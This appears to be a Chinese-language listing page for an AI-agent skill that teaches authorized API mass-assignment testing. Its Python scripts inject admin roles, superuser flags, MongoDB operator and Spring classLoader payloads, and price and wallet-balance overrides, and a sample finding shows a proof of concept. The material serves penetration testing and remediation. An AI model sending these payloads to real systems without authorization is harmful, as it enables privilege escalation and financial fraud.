关于 testing-api-for-mass-assignment-vulnerability
这是面向获授权安全测试人员的 API 质量赋值漏洞测试指南,聚焦客户端提交的字段是否能修改非预期属性。内容包括注入特权字段、验证状态变化及按框架测试。
主要功能
- 01识别可写 API 端点
- 02注入特权字段进行测试
- 03验证字段是否持久化
- 04覆盖框架特定参数格式
- 05检查订单及财务字段
适用场景
- 01检查注册接口的角色字段
- 02测试用户资料更新权限
- 03评估订单价格字段是否可篡改
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-api-for-mass-assignment-vulnerability安装后在 Claude Code 中输入/testing-api-for-mass-assignment-vulnerability确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
Mass Assignment 漏洞 API 测试
适用场景
- 测试接受 JSON/XML 请求体的 API 端点,例如用于更新用户资料、注册或创建对象的端点
- 评估 API 是否会将客户端提供的所有属性绑定到数据模型,而不使用允许列表
- 检查用户能否通过常规更新端点设置特权属性(角色、权限、定价、余额)
- 测试使用 ORM 并会将请求参数自动绑定到数据库模型的 API
- 验证服务器端输入验证是否会根据用户角色限制可写属性
未经书面授权,请勿使用。Mass Assignment 测试会以可能造成破坏的方式修改对象属性。
前提条件
- 书面授权,明确指定目标 API 端点和测试范围
- 不同权限级别的测试账户
- API 文档或 OpenAPI 规范,用于识别预期的请求字段
- Burp Suite Professional,用于拦截请求和注入参数
- Python 3.10+ 及
requests库 - 了解后端框架(Rails、Django、Express、Spring),以预测参数绑定行为
工作流
步骤 1:识别可写端点和预期参数
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
步骤 2:注入特权字段
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "[email protected]"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
步骤 3:通过状态变更验证赋值情况
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""
# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value is not None:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
return match
return False
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
步骤 4:针对特定框架进行测试
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
步骤 5:对订单和金融对象进行 Mass Assignment 测试
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields
"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
if float(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
if float(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
核心概念
| 术语 | 定义 |
|---|---|
| Mass Assignment | 一种漏洞:API 会自动将客户端提供的参数绑定到内部对象属性,且不进行过滤,导致非预期字段也能被修改 |
| 自动绑定 | 框架的一项功能,可将 HTTP 请求参数直接映射到对象模型属性;未配置允许列表时会导致 Mass Assignment |
| 允许列表(白名单) | 服务端字段列表,明确规定 API 允许客户端设置哪些字段,并拒绝所有其他参数 |
| 阻止列表(黑名单) | 服务端字段列表,明确规定 API 禁止客户端修改哪些字段(安全性低于允许列表) |
| 对象属性级授权 | OWASP API3:2023——确保用户只能读取/写入其有权访问的对象属性 |
| DTO(数据传输对象) | 一种模式,由独立对象定义允许的输入字段,使 API 契约与内部数据模型解耦 |
工具与系统
- Burp Suite Professional:使用 Repeater 和 Intruder 拦截写请求并注入其他参数
- Param Miner(Burp 扩展):通过对请求体和标头进行模糊测试,自动发现隐藏参数
- Arjun:用于发现参数的工具,可查找 API 端点中隐藏的 HTTP 参数
- OWASP ZAP:具备参数注入功能的主动扫描器,可用于检测 Mass Assignment
- Postman:API 测试平台,可用于构造注入参数的请求并验证响应
常见场景
场景:SaaS 用户注册中的批量赋值
背景:某 SaaS 平台通过 REST API 允许用户自行注册。注册端点接受姓名、电子邮件和密码。后端使用 ORM 将请求参数自动绑定到 User 模型。
方法:
- 仅使用预期字段注册新用户:
POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"}- 返回的用户包含role: "user" - 注入角色注册另一个用户:
POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"}- 返回的用户包含role: "admin" - 使用新账户调用管理员端点,确认管理员访问权限
- 测试其他字段:
is_verified: true可绕过电子邮件验证,subscription_plan: "enterprise"可获得高级功能 - 测试个人资料更新端点:
PUT /api/v1/users/me {"name":"Test","balance":99999}- 钱包余额被修改
注意事项:
- 只测试「role」等明显字段,却遗漏「subscription_plan」、「credit_limit」或「verified」等特定于业务领域的字段
- 未确认注入的字段是否确实已保存(某些 API 会返回 200,但悄悄忽略未知字段)
- 认为将「role」列入阻止列表就能防止批量赋值,而「isAdmin」、「is_admin」或「admin」也可能有效
- 未同时测试创建(POST)和更新(PUT/PATCH)端点,因为它们的筛选规则可能不同
- 遗漏嵌套对象的批量赋值,例如可以注入
user.role或address.verified等字段
输出格式
## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
评论
支持 Markdown